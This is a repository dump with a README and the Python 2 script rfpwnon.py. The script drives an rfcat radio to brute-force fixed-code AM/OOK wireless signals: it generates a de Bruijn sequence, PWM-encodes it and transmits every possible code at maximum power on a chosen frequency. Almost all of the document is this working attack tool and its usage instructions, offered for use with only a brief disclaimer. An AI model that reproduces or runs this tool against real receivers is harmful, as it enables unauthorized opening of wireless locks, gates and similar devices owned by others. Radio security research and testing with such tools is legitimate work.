├── README.md
└── rfpwnon.py
/README.md:
--------------------------------------------------------------------------------
1 | # rfpwnon
2 | Written by Corey Harding from http://www.LegacySecurityGroup.com
3 | Video demo with instructions available at: https://www.legacysecuritygroup.com/index.php/categories/13-sdr/22-rfpwnon-py-the-ultimate-rfcat-ask-ook-brute-force-tool
4 |
5 |
6 | usage: rfpwnon.py [-h] [-v] [-f BASEFREQ] [-b BAUDRATE] [-l BINLENGTH] 7 | [-r REPEATTIMES] [--keys] [-p PPAD] [-t TPAD] [--raw] 8 | [--tri] [--show] 9 | 10 | Application to use a rfcat compatible device to brute force a particular AM 11 | OOK or raw binary signal. 12 | 13 | optional arguments: 14 | -h, --help show this help message and exit 15 | -v, --version show program's version number and exit 16 | -f BASEFREQ Specify the target frequency to transmit on, default is 17 | 915000000. 18 | -b BAUDRATE Specify the baudrate of the signal, default is 2000. 19 | -l BINLENGTH Specify the binary length of the signal to brute force. By 20 | default this is the binary length before pwm encoding. When 21 | the flag --raw is set this is the binary length of the pwm 22 | encoded signal. 23 | -r REPEATTIMES Specify the number of times to repeat the signal. By default 24 | this is set to 1 and uses the de bruijn sequence for speed. 25 | When set greater than one the script sends each possible 26 | permutation of the signal individually and takes much longer 27 | to complete. For some applications the signal is required to 28 | be sent multiple times. 29 | --keys Displays the values being transmitted in binary, hex, and 30 | decimal both before and after pwm encoding. 31 | -p PPAD Specify your own binary padding to be attached before the 32 | brute forced binary. 33 | -t TPAD Specify your own binary padding to be attached after the 34 | brute forced binary. 35 | --raw This flag disables the script from performing the pwm 36 | encoding of the binary signal. When set you must specify the 37 | full pwm encoded binary length using -l. 38 | --tri This flag sets up the script to brute force a trinary 39 | signal. 40 | --show Prints de Bruijn sequence before transmitting. 41 |42 | -------------------------------------------------------------------------------- /rfpwnon.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | from rflib import * 5 | from struct import * 6 | import argparse 7 | import bitstring 8 | 9 | #rfpwnon.py was written by LegacySecurityGroup.com and is 10 | #loosely based off AMOOKTransmit.py by www.andrewmohawk.com. 11 | #This script may be updated from time to time, 12 | #please check www.LegacySecurityGroup.com 13 | #for updates or to report bugs. 14 | #We assume no responsibility for your use of this script. 15 | #It is up to you to use this script both ethically and legally. 16 | 17 | #parser and help 18 | parser = argparse.ArgumentParser(description='Application to use a rfcat compatible device to brute force a particular AM OOK or raw binary signal.',version="rfpwnon v-0.8") 19 | parser.add_argument('-f', action="store", default="915000000", dest="baseFreq",help='Specify the target frequency to transmit on, default is 915000000.',type=int) 20 | parser.add_argument('-b', action="store", dest="baudRate",default=2000,help='Specify the baudrate of the signal, default is 2000.',type=int) 21 | parser.add_argument('-l', action="store", dest="binLength",default=6,help='Specify the binary length of the signal to brute force. By default this is the binary length before pwm encoding. When the flag --raw is set this is the binary length of the pwm encoded signal.',type=int) 22 | parser.add_argument('-r', action="store", dest="repeatTimes",default=1,help='Specify the number of times to repeat the signal. By default this is set to 1 and uses the de bruijn sequence for speed. When set greater than one the script sends each possible permutation of the signal individually and takes much longer to complete. For some applications the signal is required to be sent multiple times.',type=int) 23 | parser.add_argument('--keys', action="store_true",help='Displays the values being transmitted in binary, hex, and decimal both before and after pwm encoding.') 24 | parser.add_argument('-p', action="store", dest="pPad",default=False,help='Specify your own binary padding to be attached before the brute forced binary.',type=str) 25 | parser.add_argument('-t', action="store", dest="tPad",default=False,help='Specify your own binary padding to be attached after the brute forced binary.',type=str) 26 | parser.add_argument('--raw', action="store_true",help='This flag disables the script from performing the pwm encoding of the binary signal. When set you must specify the full pwm encoded binary length using -l.') 27 | parser.add_argument('--tri', action="store_true",help='This flag sets up the script to brute force a trinary signal.') 28 | parser.add_argument('--show', action="store_true",help='Prints de Bruijn sequence before transmitting.') 29 | results = parser.parse_args() 30 | 31 | #define what a 0 or a 1 represents after pwm encoding is applied, or even a 2 if trinary! 32 | 33 | #set normal pwm signal 34 | zeropwm="1110" 35 | onepwm="1000" 36 | brutechar="01" 37 | #other possibilities include but not limited to 38 | #zeropwm="1110" 39 | #onepwm="1100" 40 | #zeropwm="11100" 41 | #onepwm="11000" 42 | #zeropwm="11100" 43 | #onepwm="1000" 44 | 45 | #set trinary pwm signal 46 | if results.tri: 47 | zeropwm="10001000" 48 | onepwm="11101110" 49 | twopwm="10001110" 50 | brutechar="012" 51 | #other possibilities include but not limited to 52 | #zeropwm="100000000100000000" 53 | #onepwm="111111110100000000" 54 | #twopwm="111111110111111110" 55 | 56 | #handle pwm encoding 57 | def convertOOK(key): 58 | pwm_str_key = "" 59 | for k in key: 60 | x = "*" 61 | if(k == "0"): 62 | x = zeropwm 63 | if(k == "1"): 64 | x = onepwm 65 | if(k == "2"): 66 | x = twopwm 67 | pwm_str_key = pwm_str_key + x 68 | global pwmbin 69 | pwmbin = pwm_str_key 70 | key_ook = bitstring.BitArray(bin=pwm_str_key).tobytes() 71 | return key_ook; 72 | 73 | #needs to be updated or removed 74 | def printKeys(): 75 | print "" 76 | print "---------------" 77 | print "Non PWM Signal" 78 | print "---------------" 79 | print "Binary:" 80 | print brutepackettemp 81 | print "Hex:" 82 | nonpwmhex = bitstring.BitArray(bin=brutepackettemp).tobytes() 83 | hexkey = ''.join(x.encode('hex') for x in nonpwmhex) 84 | print ':'.join(x.encode('hex') for x in nonpwmhex) 85 | print "Decimal:" 86 | decimalkey = int(hexkey, 16) 87 | print str(decimalkey) 88 | print "" 89 | if(results.raw is not True): 90 | print "------------------" 91 | print "PWM Encoded Signal" 92 | print "------------------" 93 | hexkeypwm = ''.join(x.encode('hex') for x in key_packed) 94 | print "Binary:" 95 | print pwmbin 96 | print "Hex:" 97 | print ':'.join(x.encode('hex') for x in key_packed) 98 | print "Decimal:" 99 | decimalkeypwm = int(hexkeypwm, 16) 100 | print str(decimalkeypwm) 101 | 102 | #set variables and configure rfcat 103 | binL = results.binLength 104 | freq = results.baseFreq 105 | baudRate = results.baudRate 106 | d = RfCat() 107 | 108 | def ConfigureD(d): 109 | d.setMdmModulation(MOD_ASK_OOK) 110 | d.setFreq(freq) 111 | d.setMdmSyncMode(0) 112 | d.setMdmDRate(baudRate) 113 | d.setMaxPower() 114 | 115 | brute = '' 116 | fullbrute = '' 117 | ConfigureD(d) 118 | 119 | #print "rfcat Config:" 120 | #print d.reprRadioConfig() 121 | 122 | #where the magic happens 123 | print "Generating de bruijn sequence..." 124 | 125 | ##### de Bruijn Sequence borrowed from Peter Otten - http://code.activestate.com/lists/python-list/660415/ ##### 126 | _mapping = bytearray(b"?")*256 127 | _mapping[:len(brutechar)] = brutechar 128 | 129 | def debruijn_bytes(k, n): 130 | a = k * n * bytearray([0]) 131 | sequence = bytearray() 132 | extend = sequence.extend 133 | def db(t, p): 134 | if t > n: 135 | if n % p == 0: 136 | extend(a[1: p+1]) 137 | else: 138 | a[t] = a[t - p] 139 | db(t + 1, p) 140 | for j in range(a[t - p] + 1, k): 141 | a[t] = j 142 | db(t + 1, t) 143 | db(1, 1) 144 | return sequence.translate(_mapping).decode("ascii") 145 | ##### end of borrowed code ##### 146 | 147 | seq = debruijn_bytes(len(brutechar), binL) 148 | tail = seq[:binL-1] 149 | fullbrute = (seq+tail) 150 | 151 | print "" 152 | print 'Brute Forcing Frequency: %s' % freq 153 | 154 | if(results.pPad is not False): 155 | print "" 156 | print "Padding before binary:" 157 | print results.pPad 158 | if(results.tPad is not False): 159 | print "" 160 | print "Padding after binary:" 161 | print results.tPad 162 | 163 | #show the magic 164 | if results.show: 165 | print "" 166 | print "De Bruijn Sequence:" 167 | print fullbrute 168 | 169 | brutepacket = fullbrute 170 | 171 | brutelength = len(fullbrute) 172 | startn = 0 173 | endy=512 174 | brutepackettemp = "" 175 | adder=512 176 | if results.tri: 177 | endy=128 178 | adder=128 179 | if(results.repeatTimes >= 2) or (results.pPad is not False) or (results.tPad is not False): 180 | adder = 1 181 | endy = binL 182 | 183 | #transmit 184 | while(startn < brutelength): 185 | for i in range(0,results.repeatTimes): 186 | try: 187 | brutepackettemp = brutepacket[startn:endy] 188 | if len(brutepackettemp) < binL: 189 | continue 190 | 191 | #pad if specified 192 | if(results.pPad is not False): 193 | brutepackettemp = results.pPad + brutepackettemp 194 | if(results.tPad is not False): 195 | brutepackettemp = brutepackettemp + results.tPad 196 | 197 | if results.raw: 198 | key_packed = bitstring.BitArray(bin=brutepackettemp).tobytes() 199 | else: 200 | key_packed = convertOOK(brutepackettemp) 201 | 202 | print "" 203 | print "Transmitting..." 204 | d.makePktFLEN(len(key_packed)) 205 | d.RFxmit(key_packed) 206 | 207 | if(results.keys): 208 | printKeys() 209 | else: 210 | if(results.raw): 211 | print "Raw binary:" 212 | print brutepackettemp 213 | continue 214 | print "Binary before pwm encoding:" 215 | print brutepackettemp 216 | print "Binary after pwm encoding:" 217 | print pwmbin 218 | 219 | except Exception, e: 220 | print "Lost communication to USB device.. waiting 3 seconds, then retrying." 221 | time.sleep(3) 222 | ConfigureD(d) 223 | 224 | if(results.repeatTimes == 1): 225 | if(startn >= adder): 226 | startn = startn - adder 227 | endy = endy - adder 228 | elif(results.repeatTimes >= 2): 229 | if(startn >= 1): 230 | startn = startn - 1 231 | endy = endy - 1 232 | 233 | if(results.repeatTimes >= 2) or (results.pPad is not False) or (results.tPad is not False): 234 | startn = startn + adder 235 | endy = endy + adder 236 | else: 237 | startn = startn + adder - binL 238 | endy = endy + adder - binL 239 | 240 | print "" 241 | print "Done." 242 | d.setModeIDLE() 243 | 244 | --------------------------------------------------------------------------------